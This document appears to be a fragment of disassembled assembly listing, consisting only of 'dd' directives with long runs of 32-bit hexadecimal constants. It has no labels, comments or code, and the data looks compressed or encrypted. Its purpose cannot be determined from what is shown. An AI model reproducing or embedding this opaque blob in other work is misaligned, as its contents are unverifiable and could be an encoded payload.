		dd 1495EC68h, 0C0735744h, 41909760h, 0DF00E22Eh, 0C86813EFh
		dd 3F32AA1h, 0F2796B27h, 95CACA0Fh, 498C9983h, 7DE7B1A8h
		dd 92B5E300h, 0FFE994F1h
		dd 0ECBB00A5h, 0BD0AD231h, 0CE1D4AF8h, 278C36E1h, 934995h
		dd 2D3744ABh, 0B21F6E2Eh, 96F65100h, 0E27A3912h, 49FB141Ch
		dd 0F2019C06h, 2BE93B7Eh, 4C36ECD2h, 34670F0Ah,	7183ACDAh
		dd 90758FF6h, 0DFBB4AA7h, 0C56A0960h, 830027FEh, 0E72D9397h
		dd 1FB0068Ch, 89612867h, 47FA8A00h, 2F864E66h, 68D400BAh
		dd 8DFE0DDEh, 3E065967h, 835F7E30h, 0A6AD58A0h,	570D3B07h
		dd 97A0509Bh, 0C87A3747h, 0BD3D83ECh, 0C37C805Dh, 0DDB04F01h
		dd 227900A8h, 0A74B40C6h, 19C14E0Fh, 8BA6BA5Fh,	131B19F0h
		dd 4108D8h, 0B050070Dh,	5A7F89CFh, 0BE4F600h, 0FD8042FFh
		dd 79E50724h, 0C1F5A786h, 0F05B1AD3h, 0E61E9C74h, 0B01D658h
		dd 629E3808h, 7B3CFCCh,	0C6CBFBC2h, 2550C0DDh, 309730Fh
		dd 802B9044h, 19141766h, 1813B838h, 807B1A58h, 18741F23h
		dd 886318C1h, 4081D62Fh, 0D494D8B0h, 6828B72Ah,	376EB4B1h
		dd 50315070h, 3C7EAB67h, 0CD0C03A3h, 0B780DE73h, 300F5E88h
		dd 0C4581A44h, 18486A77h, 1F761F49h, 61183ED8h,	430616CAh
		dd 0CECE0742h, 87868265h, 0EE239480h, 7F0AF188h, 0A44589D5h
		dd 2A85081Dh, 4802E1DBh, 1026F28Bh, 9D40EA91h, 125C30CFh
		dd 2308B0D8h, 38E81762h, 0DB213652h, 4A6BC0E1h,	3C001AD2h
		dd 649BC0FDh, 0A0AA0689h, 60A4F7CCh, 0E1FB488Bh, 80A40CF6h
		dd 504B054h, 289B2033h,	778EA878h, 42810019h, 3675879Dh
		dd 470E1EDEh, 40150590h, 0B772BE6h, 119E897Ch, 89D47258h
		dd 8C650001h, 7A9CB9DDh, 0F0BF8827h, 3C980142h,	0DB4760E0h
		dd 0FCD5C9F9h, 9900E81Eh, 67BE0A1Dh, 4B086Fh, 0E4A3DFF7h
		dd 9E2A5C96h, 0CE1C26FEh, 91C0E50Fh, 0E8766A42h, 5C400645h
		dd 11713596h, 7A1DA300h, 22C4ED3Eh, 0AA901380h,	753200F4h
		dd 0DC1CC815h, 0BB009570h, 0EBC19DF9h, 0C8BBA2Bh, 0C5093797h
		dd 0EA00DF11h, 0B6DE3DC8h, 28391BD3h, 940A62h, 42EE0873h
		dd 6178E849h, 0E45438h,	0B9B57B1Eh, 244E4313h, 8C8273h
		dd 27E332A9h, 98A0F7E6h, 0CE18B8BAh, 2219887h, 6BF30049h
		dd 0ACEC6388h, 0E2000856h, 0DABDFF91h, 3CB37D3h, 282C7A6Eh
		dd 0E6887CE4h, 0CC018492h, 0FD9C158Ah, 0E0E6871Ch, 0FDB1A26h
		dd 0BD31A299h, 71708541h, 0A5AA83BCh, 91CC05B9h, 9CC02E7Fh
		dd 3E801FFFh, 5B368347h, 0F5E897B4h, 3B00AD94h,	3CE1A36Dh
		dd 0EC77C372h, 30D7B31h, 4AA668BCh, 8F902C64h, 0B700FF34h
		dd 0A73084C1h, 0FBF1270h, 4E9B72F7h, 4C5A2FA0h,	2C904DE9h
		dd 74FB958h, 5FC094D5h,	71BAC0DFh, 773428h, 1CE3F7C2h
		dd 3CA6C6D1h, 3A185713h, 2F41F20Fh, 0C479E02Ch,	15045Eh
		dd 50444F65h, 0DD7F4CE3h, 2F319600h, 812390F9h,	754828h
		dd 1E352E01h, 805E4D4Eh, 50145C26h, 77F1E1h, 8920FF65h
		dd 3227A322h, 0EF97C703h, 1D7BC96Ah, 38D350h, 0BD016075h
		dd 0CE00BAE3h, 9FBF92D7h, 6011F2E7h, 0A1EB287Eh, 0AF500928h
		dd 81071460h, 0C7550DE5h, 1A14BC6h, 1570CB30h, 80F0873Ch
		dd 0FE3D8650h, 3BFCE751h, 7C686Fh, 0D983AC36h, 59A6A232h
		dd 73D3120Fh, 0B67D00FDh, 4803E928h, 6000CC99h,	86F2BE3Fh
		dd 845C7ACAh, 4A9E0080h, 0FA6CA8AFh, 2CF4A0h, 0A64FD0D3h
		dd 6962E636h, 0ADC14A00h, 3C3240Ch, 204601CFh, 2135C8D2h
		dd 0EE98042h, 2BF85339h, 61701888h, 4941B130h, 8F6DEA00h
		dd 2E1806ABh, 10A001E9h, 320BAD50h, 200AF5F7h, 68001DA5h
		dd 0FA725ED3h, 298E0DBDh, 0A4747Ah, 890A279Ch, 9B3FCC91h
		dd 0DCA121Bh, 2E4EA800h, 568BE3h, 1148FEDAh, 8A0B4B35h
		dd 70EF8500h, 683FB993h, 5440397Ch, 0D238E404h,	8A0806Ah
		dd 0DC73A1CBh, 73C59400h, 2B1F757Bh, 337C0074h,	0CFB8A788h
		dd 3901BE19h, 5BB5DE49h, 58D459A3h, 0F3240038h,	8959BC4h
		dd 114DBF8Bh, 849E2984h, 9AE6BD00h, 3B7E48ABh, 90CC631Ch
		dd 1F49613h, 54E5550Bh,	604AE52Ah, 820EF5E2h, 0A37D069Ah
		dd 0A41B2Fh, 6EC61819h,	0ED88E1F3h, 8CFF8109h, 7EBC83B6h
		dd 801CE887h, 0C15B003Dh, 6BA1CEC5h, 0F3EAA655h, 516A6000h
		dd 4A6C42A9h, 180F002Ah, 8F4F41BEh, 0FA003898h,	6FF56379h
		dd 101B6Eh, 9DDCE008h, 8A7E0541h, 3F8B7801h, 0F8904AC5h
		dd 0B095B082h, 1C40F239h, 0C1001671h, 7997A5C0h, 0A06327h
		dd 18484EB4h, 60EF3955h, 0F325C4Ch, 404785E7h, 375D2C5Fh
		dd 572E004Dh, 4633B59h,	0DB006C06h, 68720184h, 0A8968Ch
		dd 9D7A5A31h, 0BA8B8354h, 2EDA9E02h, 0C88CE442h, 3E4338h
		dd 3904B599h, 40CDE8C8h, 0F43C2E00h, 840C1EC4h,	15DE6E0h
		dd 2F660F73h, 835296E2h, 9346B1D8h, 5EB4E83Ch, 6F09020Bh
		dd 0F7E58B31h, 0C2524440h, 1C1460F7h, 65430F00h, 68D5402Bh
		dd 602A0082h, 0A397B85Fh, 0FB00BD02h, 0ABE69196h, 25F3E5h
		dd 4542120Ch, 901F3F88h, 93BFCF00h, 0A2BD5F31h,	0B4410040h
		dd 3D199580h, 2028C110h, 0EF0ED4CDh, 0E97FF2B7h, 0AD0057EEh
		dd 2E4FC6CFh, 9832500h,	646B524h, 0AA5500D7h, 0DB6A148Bh
		dd 1F00B6B8h, 0A2734335h, 1C2D5A1Ah, 1F0B0585h,	0C39277h
		dd 4CDBAC54h, 0DA6237A2h, 409F7A30h, 49D245h, 0A34E8A7Dh
		dd 0B41D1B05h, 56C1430Eh, 0CC47E0EAh, 18AADB04h, 0A648947Fh
		dd 8A1D432Ah, 32C52266h, 0C805F84h, 0B982563h, 0D8456283h
		dd 349508A0h, 3998EBF7h, 0C9D72300h, 0FF5DCACEh, 0E5E20016h
		dd 0F696D62Ah, 71C2CA4h, 0CC098AE3h, 0E3807F41h, 4FB509C4h
		dd 25165A00h, 9BC99A8Fh, 5BF8A8AEh, 2CFD01BAh, 7C791B2h
		dd 0BFECE814h, 38548B03h, 0D2782B0Fh, 32144889h, 75940077h
		dd 88D41846h, 7C00106Eh, 2CC8E2C1h, 38C7DD9h, 0BA97D58Fh
		dd 0B5E8EBE1h, 0BD00231Bh, 123B026Ah, 5C35AF2Ch, 710100FCh
		dd 9C2F604Eh, 0F061B98Fh, 921F4B06h, 7809E414h,	8DF00BDAh
		dd 9CA09A59h, 9934E81Bh, 0CBB1A907h, 0D845C1D6h, 4D0B8202h
		dd 0CDA4E84Bh, 6392017Eh, 6039C453h, 9190D33Bh,	1B06A4CEh
		dd 614A97E5h, 0D21900EEh, 0A221DC34h, 5934CEC3h, 38F89192h
		dd 0E4629E03h, 27A0C9ECh, 10A358CEh, 0B003479Bh, 21E3C37Ah
		dd 0EF02A4AAh, 0CF198A8Dh, 3600C102h, 4F42E8h, 8F074A30h
		dd 0E52E895Eh, 9F5D4D39h, 35805628h, 318C6E0Fh,	0E19D1D07h
		dd 0CCA8060h, 0E4F9D3EFh, 33A3BB00h, 1AA54C5Eh,	184E00F8h
		dd 0BF214BD2h, 0DD000401h, 0AAFE5AAh, 1C609334h, 0C09CD788h
		dd 21A2DF7Bh, 0F900A049h, 0C8A1812Bh, 3E35AD11h, 0E48022FEh
		dd 0D327B2FDh, 180010B7h, 0F77413D0h, 7BE25FE0h, 8F287h
		dd 2841C2FFh, 394DC4CAh, 80337900h, 0FC9F99A5h,	2E2CB0F0h
		dd 1F9E0AB9h, 46B0E2Ah,	0FAC72F00h, 0DE5089F8h,	0EA0E648Ch
		dd 6E88BF37h, 0D1A3C066h, 857355h, 0D7D9A91Ch, 9CF71102h
		dd 82C1A4A8h, 3E75C800h, 3740F235h, 8C880115h, 50075F1Dh
		dd 242281h, 0E5277FBCh,	5EFA59h, 30472EA5h, 550593ABh
		dd 0AEF01092h, 89033478h, 9E8F4037h, 0CE85A8BFh, 0EE500064h
		dd 20B683CFh, 0D5189217h, 413919B4h, 0C1DE22h, 7AF260Ah
		dd 0D500E28Ah, 7E1E0B6Dh, 0A8E63D3Eh, 0F34974h,	297C8D45h
		dd 6D39463Ah, 5C524E00h, 0E61ACAFEh, 837712ECh,	1D340FD5h
		dd 0EEF133E0h, 8A1E372Dh, 807E9935h, 0FEA3E08Ch, 90B70C9h
		dd 0E521EB52h, 81DA780h, 767C302Eh, 0F6243B0Eh,	71AEA336h
		dd 0EB07A869h, 9E5F19B4h
		dd 5F971195h, 0E0307F04h, 935B107Bh, 19A104C6h,	0C0D5E359h
		dd 0AA9EAC5Fh, 8D3CBD09h, 0E612039Ah, 4AADC12Ch, 691B20h
		dd 54E9D4D6h, 174FC7E8h, 8E33D800h, 6CD32191h, 0E10E0A95h
		dd 9F7964h, 30DF72B4h, 41E447C6h, 55F53Ch, 8F3B03A0h, 0D80E9Ch
		dd 0DE6BEBAh, 35F40519h, 16ECF00h, 49767B58h, 0FD380372h
		dd 284565B0h, 0FE3092B8h, 8F6CB13Dh, 0E90EDDCBh, 1C5CDECAh
		dd 18828087h, 0E72E5A0Ah, 62CB2300h, 4214E9F1h,	7EEA0022h
		dd 13A15B8Bh, 50007CBCh, 893E3060h, 2519A7h, 0A9015FD7h
		dd 0C1492267h, 71EC4814h, 0BBF82E9Ch, 86C0291Eh, 99BAC863h
		dd 2C9F0015h, 0CB642531h, 3C124F8Dh, 5A1E4179h,	2A234C83h
		dd 8020072Eh, 0F13B53h,	0E70C33BAh, 30826915h, 1683AC8h
		dd 92E170AAh, 418F5189h, 0EBA05C83h, 9A225372h,	0D8BAE8EDh
		dd 88899B00h, 0ADBC3E51h, 0EBF8076Bh, 0D0FD776Ah, 18E547Eh
		dd 0FC38EC00h, 0A8C9E085h, 0A7E2B7h, 0A91420A0h, 0E17296FDh
		dd 0FBF66198h, 426A31Fh, 6254A1C0h, 6B01B3h, 5D44556Eh
		dd 38D3D2D0h, 49871A07h, 0B6106936h, 0B0887CFDh, 777B3h
		dd 0CDC1946Ch, 8738E62Ah, 0C984DC15h, 0A1CF008Ch, 6D72340Eh
		dd 0F98E0CBh, 0D4843E1Ah, 833B3A67h, 0F1007E51h, 19CB74C4h
		dd 0D1F1BDh, 4ECAE8DDh,	290E8E5Eh, 658D5216h, 9B963C01h
		dd 2DCCD024h, 6F0F3C34h, 0C80EB483h, 0F9E87F47h, 0FF3D6CAEh
		dd 704C8FE6h, 202E0960h, 0CC96F480h, 6E1800C2h,	0A3A1DDC0h
		dd 0DA03EF67h, 0BAE0EBAh, 800D887Ch, 0E692009Ah, 7534BDB0h
		dd 2B00C8D2h, 9C7A37DFh, 15E325h, 809758BBh, 50B79EB4h
		dd 0BEDCCC00h, 0A6A14CADh, 0A56E439h, 33D338D4h, 581D01F4h
		dd 8B7C5F9Ah, 0D5AE6F1h, 44ED56BEh, 0D966F0h, 0FF1B1583h
		dd 96399426h, 7F4B600h,	0EA3BB9E4h, 0AFC21F31h,	0FCE0F34h
		dd 1C100829h, 0D3005279h, 0CFAE2A55h, 0C00EDB50h, 4DAF7B98h
		dd 7800ADA6h, 12B45373h, 991F41h, 38F92517h, 71DA8647h
		dd 0F5820h, 4E1E9ACFh, 74309985h, 1B105E14h, 2D0A00A4h
		dd 0C35DBE13h, 1A0791Dh, 3064EFE9h, 346EDD41h, 5EE8AC30h
		dd 83478605h, 904053BCh, 604BC31Ch, 0EBD80073h,	0C08B2A80h
		dd 0D6036617h, 0CEB0E3B3h, 5D80031Eh, 7E4D200Bh, 21907D88h
		dd 0D318501h, 15189B60h, 755AC0h, 0DA6FB9CBh, 4541500Fh
		dd 0BC305300h, 64211D5Bh, 0A80300D4h, 911EC49Eh, 0D600B2CBh
		dd 0E04D083Eh, 0D0E140h, 87E87078h, 2C66890h, 0E47D0C00h
		dd 94744C18h, 7704009Ch, 0F55B6566h, 0AB02A279h, 1E86A459h
		dd 578E6067h, 161C07B3h, 4064530Ch, 0F6D8B4CAh,	9ED44A00h
		dd 27DD89D6h, 7D5B3C7Eh, 0AC7BD900h, 87156A94h,	16A27A30h
		dd 2C4732BDh, 0CD3305h,	0CB63A54Fh, 39008C13h, 0F6E1373Ah
		dd 0C01B76C3h, 0F035F97Eh, 0DB00C428h, 0BB1F13FBh, 5C9C40BCh
		dd 0F200C174h, 5B75018Fh, 94007A2Ch, 0A44A36B2h, 0FBD8CCFh
		dd 0B39E3DCEh, 87DD4280h, 0AD006F91h, 0E3957309h, 0D62417A4h
		dd 968A00A8h, 0DC576AB2h, 3C152B00h, 0FF59910Dh, 11656006h
		dd 3F2C8168h, 93DB0B00h, 2F8D3183h, 987DE490h, 74CB03F7h
		dd 720171C6h, 0C016CAB0h, 0B73F0718h, 218D40h, 0D371039Ah
		dd 5AA08396h, 41007877h, 0D77A84E9h, 0EE0148BCh, 317C004Eh
		dd 747E4F91h, 46734B9Eh, 0F1B02E00h, 0B8C47F04h, 1237EAAAh
		dd 70C0A75h, 20849E1Bh,	713D7603h, 7B00D07Bh, 0FE481C95h
		dd 1E3EF686h, 4C8E5013h, 25304E9Bh, 0B30F6604h,	1C80B6B2h
		dd 3E4E188h, 0F4D8FFCDh, 2EB267F3h, 0F1287560h,	90C330FFh
		dd 27D07B00h, 0E73D4560h, 3A05008Fh, 2DF87599h,	0EB001EA5h
		dd 0DFB5107Fh, 798C2CFh, 0A65A053Ch, 0BFC10036h, 553ACB87h
		dd 1CE67E41h, 0B990D00h, 0BE7CCACEh, 1BB200C4h,	5D21F831h
		dd 2F0080F2h, 689F1C25h, 6D0A3Ch, 0CCDDDF60h, 0C5C364CBh
		dd 19005C90h, 886963D5h, 0FB7AAEh, 0BBC98D1Ch, 0AA8A5CBFh
		dd 0FD0094F6h, 0B12BD08Fh, 0E0E08C4h, 0BDDC1995h, 0F1D9A520h
		dd 70000C49h, 0B21D30D8h, 1E4F90Eh, 65B41B97h, 0EC7BFCC0h
		dd 10182202h, 0E448D19Dh, 0FE2C6AFEh, 4E741D20h, 1F802AC8h
		dd 0CE77E9A7h, 60318F00h, 3B409950h, 3EFC017Eh,	8D0541D4h
		dd 54C130DFh, 0F696F300h, 0AB24E0BCh, 0A9B31CBFh, 0C9429FB1h
		dd 990073FDh, 13686D20h, 7CA10719h, 0E8176510h,	661758Fh
		dd 317993h, 58AC6E8Dh, 10592C65h, 36648C07h, 0CB06215h
		dd 92414A57h, 77F5017Ch, 7A40FE75h, 3B3824D5h, 4F829019h
		dd 0D8EC17D9h, 0C90501DEh, 16184A5Fh, 0E71183DAh, 71D207Ah
		dd 4C1FEA80h, 49D4E6FAh, 7E21562Eh, 0D6816C03h,	2B82E0D2h
		dd 0E0B70ACFh, 383073B9h, 803065B7h, 2D7A78E5h,	39354700h
		dd 0A6227ED0h, 84580072h, 7423D675h, 1C0792B7h,	8A261ED8h
		dd 0FCA83FF0h, 0EE371CF2h, 0F1ECC03Bh, 179A858Fh, 39D69D00h
		dd 5A788A4h, 444E3883h,	0B1E7F800h, 2D25B932h, 684D780Fh
		dd 0EDEB4027h, 89610Ch,	0FFCF565h, 5876EC66h, 1DCF4900h
		dd 248F5709h, 185262FFh, 0C080CB35h, 6BC1FC63h,	29E61D03h
		dd 1065C00Ah, 60541B28h, 0FD6A9EE9h, 2EC08340h,	0DA008FDDh
		dd 89EB9473h, 18207692h, 402A69FEh, 0BB30B477h,	7EFF187Fh
		dd 0D0965231h, 879A7900h, 60CD1F0Ch, 0A2589718h, 0C07D6F08h
		dd 87929420h, 790F66EFh, 808FBE1Ch, 53FBCB15h, 0A169C0ECh
		dd 0D265C184h, 9D99B50h, 0F3106160h, 28337DDBh,	0AFD1B5h
		dd 68AA76AEh, 17BD4EA0h, 15277800h, 31CBDFF3h, 5D700E94h
		dd 43E0A8B5h, 238A1A9Eh, 0D778C03h, 8018BEB9h, 8EE449h
		dd 0E306FAC5h, 8F8AC910h, 0E991BA03h, 88211913h, 464722Ah
		dd 586080C2h, 4547809Dh, 0A900FFF6h, 61F87BCAh,	97992Fh
		dd 0D52C09DEh, 0F3A27C3Ch, 0BB26C100h, 0BC5AE316h, 0B07E000Ch
		dd 71AE2C12h, 10CA0B56h, 1AFC0455h, 108EA3A2h, 0B8D3F6C0h
		dd 82EFFC00h, 90058A08h, 51A80E19h, 65206B01h, 0E4188026h
		dd 57863F00h, 6D5A649Fh, 2B21139Ah, 0FA3F0008h,	81B83ACAh
		dd 0F3C6E81Eh, 94DC80C0h, 0F547134h, 89D2982Eh,	6C535982h
		dd 0DC82F1E0h, 9FC66018h, 955010h, 9D5FCF2Dh, 9256C0EFh
		dd 0FED20200h, 0B81FF47Fh, 15B0035h, 53D0AD40h,	0EB7D7859h
		dd 1C8D9B01h, 0EDD580BBh, 3F764870h, 0F71DCECFh, 432603D4h
		dd 23F07A59h, 4C003A71h, 205FD708h, 0C7FD78h, 0B6F03001h
		dd 0F15469CFh, 0B047D000h, 872C9076h, 0ADC300AFh, 27A1443Ch
		dd 6D000883h, 145D39EBh, 0B066F080h, 81FD001Ah,	7D4231DFh
		dd 0D3B843B2h, 28B3BAA0h, 0FFDB250Eh, 0F69A808Dh, 366B96h
		dd 33FDA0F5h, 0BE205CD9h, 41522303h, 90D4D09Dh,	2EB2A1EEh
		dd 54C788h, 0E9A6FBC1h,	1B002E8Fh, 4972D8ADh, 48EDFAh
		dd 0A1DA566Ah, 0BCAAE9D2h, 8BA3D600h, 1888D03Dh, 0FD230001h
		dd 0E4A4C606h, 860FE7D8h, 0C5F419h, 0C29CE120h,	48B7BA6h
		dd 0BFFD36EAh, 0F8109074h, 5A00893Eh, 0AC8E986Bh, 305343E9h
		dd 3FD8A3F1h, 2851E659h, 2984E8ECh, 382EB800h, 1D0E4881h
		dd 309F003Ah, 8907196Fh, 6E00738Dh, 378357D8h, 246BB02Fh
		dd 804454F6h, 0CE2B904Fh, 1500354Ch, 0D8B94657h, 0F845A4h
		dd 61AEEB14h, 63A2724Eh, 77B68F2Eh, 2A9E4400h, 39F27F69h
		dd 20E5805h, 5520FBD3h,	470750B0h, 0C48B400h, 5457E2CDh
		dd 7C4B008Ah
		dd 0EE26FA21h, 0CC00345Fh, 4463A86h, 0B022A6h, 0E0E3F19Bh
		dd 4AA3C34Eh, 8E124Ch, 13752E68h, 6DFF84h, 7E242BEAh, 6E6105Ah
		dd 0BB2882Eh, 80FB8609h, 4DAFB6D4h, 6892CBh, 25A9B48Dh
		dd 0B0F05235h, 0F73A9A00h, 12ECAFC3h, 19313957h, 56838B00h
		dd 58E5860Ah, 0FB4038D2h, 0D4519817h, 6B913F13h, 15620DACh
		dd 0ED07D0DEh, 60153156h, 221C2AE9h, 7B80F001h,	0FB3426F5h
		dd 1F9488D0h, 4362BD38h, 0BAE2548Ch, 522C4E98h,	6ECBED00h
		dd 3F1CC950h, 0E52F00A4h, 3B809744h, 6B017BB1h,	0BF2D6628h
		dd 0E2F4FE76h, 979F0024h, 3BB4EFB6h, 18905E93h,	56708D10h
		dd 7689BE09h, 110F10Ah,	4A8838C5h, 3B13C971h, 5C30D5A1h
		dd 0AA1D0050h, 2DDA0548h, 460EAEDDh, 23DF544Dh,	0F8C65608h
		dd 177E1D1h, 9333502Eh,	70CA8C3Eh, 0B748796Fh, 2390750Ch
		dd 4171E3Bh, 0A2CBF50h,	712D68D0h, 7F260049h, 991BA06Ch
		dd 5E001DCBh, 2EC47D66h, 0ECD12941h, 38F607FEh,	41F74685h
		dd 7059F983h, 20006D7Eh, 0D9035DFFh, 1F0AC1Fh, 0BA130B98h
		dd 0C45622F2h, 76001928h, 90034F73h, 1889A821h,	10416607h
		dd 0CB00B172h, 3582C4ACh, 0C285CB7h, 0F3D7E21Ah, 4B000E68h
		dd 0B29105C8h, 0A17539h, 9698C721h, 6E039980h, 0B0666C00h
		dd 72D5E4BFh, 0C65B00DAh, 0FE5539F7h, 451E622Bh, 0C2838734h
		dd 0D8ECA6EFh, 0B0A33h,	8C9C1BE5h, 44E9CF42h, 4CDF2E48h
		dd 71C07B5Bh, 0D89BF0C3h, 0E211C980h, 1E6FA880h, 12071829h
		dd 1B1D96EDh, 0C40E8FCh, 9EF4854h, 0CAFE4311h, 20FFE22Ch
		dd 90EB4C87h, 1E5F4600h, 5C92FEh, 0F0D4C69Dh, 0C8BC61A1h
		dd 54868C07h, 3032E4A3h, 752FC09Bh, 7E2C0055h, 5D234362h
		dd 58001B47h, 882BD8D2h, 0E6EB105h, 0B10FBFDh, 45EA8A00h
		dd 0BB01BA1Ch, 0B59DBDA8h, 84FC828Bh, 80F2A1h, 0C3C83288h
		dd 0C4EAF18Ch, 67A0B560h, 0D4AC2Eh, 0DD81D0F2h,	8C128095h
		dd 54A9EB26h, 85C88B81h, 108FA6E8h, 0BDBF3B01h,	3000D022h
		dd 0C3ED0E39h, 0BC5008h, 76676163h, 0E8E2A14Dh,	0F683FA00h
		dd 8D192399h, 2D6B3FC0h, 6C94168Bh, 2F01D883h, 26606800h
		dd 6256BD2Ch, 9D280F30h, 702E2DAh, 9CA1E4B5h, 700AA6F5h
		dd 0FF24AA3Ch, 508068A1h, 2DD3B2A8h, 3CF7EA61h,	7245955h
		dd 517401F4h, 328754ECh, 6BE700B8h, 0C88384A4h,	9F4000D8h
		dd 0FA07ABA5h, 0BF0322DEh, 0E8741559h, 564800F9h, 0CD0140Fh
		dd 2A0EFF5Fh, 0E59CA099h, 7852537h, 0D2BBB300h,	702407F8h
		dd 14E700F6h, 9A65F0B6h, 6E00FE64h, 0DCEBB5DBh,	0C68F40h
		dd 0C95E92C5h, 0C37F327h, 5BD62204h, 808015ADh,	3CC13CBh
		dd 0E6E9093Fh, 4800FE45h, 36D590D9h, 980DAB96h,	292000BBh
		dd 0F0DDC425h, 5B0032F3h, 1B56FEEBh, 9247C8h, 0C38F8B4Bh
		dd 0A6F92BDDh, 1E1F870Bh, 0D81C8044h, 1E32F81h,	776C8843h
		dd 60716A07h, 6F06372Ch, 391B7B79h, 0F61A0E31h,	5D40FF4Fh
		dd 55325BE0h, 993AC875h, 8042B8D5h, 0F7031C8Fh,	3C917BE9h
		dd 7780E4B1h, 0D5CDFD20h, 4100FA5Bh, 0A8A3D894h, 31398Eh
		dd 997C7BF5h, 18DC0D1Eh, 82F75638h, 6138B11Fh, 5A4057DAh
		dd 78009E24h, 1BD3287Ch, 0F10A4Ah, 0C8683AAEh, 3B7D5EE7h
		dd 60AC4E07h, 7273564Ch, 83CD9003h, 94650044h, 0A5B5E1F0h
		dd 60003022h, 0C87CD025h, 6F061854h, 1580B005h,	1E519538h
		dd 0B8588C9Ah, 1A0D0068h, 0AAA8EA01h, 62A00382h, 25487113h
		dd 0CC012BBh, 0F90B3C9Ah, 873BAF15h, 0A730CC20h, 0F2E272h
		dd 9CF66C01h, 822DA311h, 9A680D26h, 452E3F00h, 69D9B64h
		dd 211CFEA7h, 0E413780Eh, 18406553h, 89AC4337h,	0B9FC002Bh
		dd 0D4119739h, 21C161C8h, 8B2164E5h, 0D2338311h, 9862D461h
		dd 0E5188220h, 93E00054h, 292ED5C1h, 61004CD8h,	86BB97B2h
		dd 0EE51850h, 0CAC54AA7h, 0EE6B8140h, 612A3101h, 8A168407h
		dd 0A040DC7Bh, 0A5EA2279h, 0B111C0F9h, 480F824Dh, 68EB39DCh
		dd 0E9005821h, 9D30C1C6h, 0A3BE8FEh, 0CAD40F97h, 20F29068h
		dd 0D9A3001Bh, 0C4904E49h, 0C100AABDh, 0AC8D4018h, 0E20601Dh
		dd 35F4A30Fh, 0D1536F00h, 8A00CD2Fh, 3F4CA712h,	0F89FC0E2h
		dd 0F7180003h, 2E47D28Ch, 641EC8DBh, 3EC07B31h,	0F5AC82DFh
		dd 0A9F3000Bh, 221B542Ch, 0EA3BB4A0h, 476880B2h, 6BD1D917h
		dd 503B00EBh, 74137D3Dh, 5300160Ah, 0A72655A4h,	0DA4E6Ah
		dd 0B69369AAh, 1B126ED6h, 0AEE2E800h, 54163980h, 7CD700C0h
		dd 0DC9DB02Ch, 6500ADB4h, 9FBB4186h, 1ACF4B8h, 0BFA9F02Ah
		dd 30B32B7Ah, 0C50AB0BCh, 900FA387h, 0C607D481h, 49F82BF0h
		dd 0D9FA004Bh, 0A1DF2D86h, 0C3094480h, 650C8592h, 0DDFC6164h
		dd 21FC316Bh, 945DCC6h,	0BA407700h, 15D87094h, 8B8D3EE9h
		dd 5CA8297h, 858239Ch, 32427414h, 0CD1622E3h, 90F6A82Fh
		dd 0DFB384D8h, 0CF442A48h, 13BB6C21h, 5E488CE2h, 90282E47h
		dd 0E1088470h, 44CCD244h, 244AE2FBh, 0DC8D083Ch, 2C29E698h
		dd 2E0DE6A2h, 0C6764h, 0B95784C7h, 8B00D09Dh, 937BEB69h
		dd 382B0F5Ah, 0BA92911Dh, 0EF5890AFh, 0D9075D32h, 9A397F60h
		dd 0EA680411h, 7759030h, 0C98F9D62h, 0F1F740DEh, 0E10005C6h
		dd 88E62D1Ah, 3DA896Eh,	6C66BF55h, 2BB8CDD9h, 0D500F704h
		dd 0DE8E6582h, 0F13D42h, 0C8ED2DB5h, 28A4AAE2h,	0FB99FE0Eh
		dd 0E451E0CDh, 7617215h, 0D39B4EF0h, 30A417C5h,	0BB1B9A9h
		dd 8A19100h, 0B08F18A3h, 660C0E8Dh, 8080DF5Dh, 0AAE961E4h
		dd 5E530800h, 0A186C9CAh, 564E0788h, 0B0D9BC59h, 0CE4650C4h
		dd 0F15FF800h, 0A7989D5h, 59CF03DDh, 0E2583599h, 0CB2497DCh
		dd 63403418h, 1D8FB03Fh, 3B585D03h, 0F03D11h, 65EBF8A6h
		dd 71C8F1BBh, 0D1584492h, 925D0248h, 589AB3E6h,	0D7A31700h
		dd 1904404Bh, 28499326h, 8D0E4F00h, 9B5C84DDh, 3FB700F5h
		dd 0D7AF44D2h, 1D0093E5h, 0E048D9F7h, 0C6CB70h,	436C8985h
		dd 420D3E04h, 92C2800h,	3310F52Fh, 9EEC000Fh, 9C22D76Dh
		dd 5800F8BAh, 474DD373h, 41A41h, 803146C2h, 7B533538h
		dd 75C45700h, 0B5BED571h, 0EE1375F8h, 81D1004Fh, 0A5DDB103h
		dd 0DC00061Bh, 4115FD6Fh, 0F4F800Bh, 273A2A55h,	0A463BB60h
		dd 7F0053FBh, 79345A3Ch, 7A3B11h, 0EC1EA0E6h, 0B5569DFEh
		dd 1780A918h, 913CA8h, 0A940B5Ch, 76B84551h, 4A14D600h
		dd 4BB0285Eh, 97F8FB22h, 0D290029Ah, 9E84A969h,	0BD034240h
		dd 0FF6CC700h, 4AFDB07Dh, 24430016h, 0C3352712h, 0C80FC0EAh
		dd 0E090B6CDh, 8555883Dh, 2DF24Eh, 0ECE8E323h, 80FA6FC8h
		dd 3990C4B8h, 5C4E4300h, 7B6EE134h, 122CB86Dh, 0C0043D19h
		dd 3892BACh, 8002DECh, 0BD67D94Ch, 7E490Dh, 0F797B628h
		dd 913F43D4h, 0EC336500h, 0BDF963BEh, 11BA244Dh, 0AAC100A5h
		dd 0AB2C4123h, 0B627D500h, 55627F86h, 3C199898h, 0F380830Dh
		dd 0EC10466Bh, 0B83DD25Eh, 0FE8884E9h, 74804BA8h, 7D7C7FAh
		dd 9BA49F75h, 0ECFDF5A3h, 0C28F00DBh, 0C74513C4h, 0F18B0222h
		dd 0B0F7BF05h, 5278A060h, 294E7C00h, 4B72EDD1h,	18818A2Ah
		dd 87B482D6h, 0BEA5E060h, 88491573h, 13795471h,	0D8DD8B93h
		dd 800737D4h, 0DC1B8450h, 0AEC9C3F0h, 94380361h, 2C105BB0h
		dd 0E1ACCD98h, 0F1B2BB00h, 0D708C177h, 26321211h, 5AD440A4h
		dd 92D852D9h, 2C619C24h, 9B12C500h, 0BEDE19h, 428B9E96h
		dd 8FB1A1C8h
		dd 0DCEF6D00h, 0BFB70399h, 7B3D3D51h, 4C0020C8h, 2E822669h
		dd 400D4CBh, 654A294Fh,	3D7678ADh, 0D187DE57h, 5039FB3Ah
		dd 91EA8406h, 0C453F607h, 5A40A0B4h, 0B0681DEDh, 9950091Ch
		dd 4E4B002h, 5DFF00Eh, 0F5924041h, 405811h, 1A7485EEh
		dd 63BF491Dh, 7E330AC0h, 73D06CFCh, 0D3BA1E29h,	0A39CC4E3h
		dd 0E9A4C0E8h, 0D2980170h, 80475E27h, 0EA53726Ch, 0CEEA43h
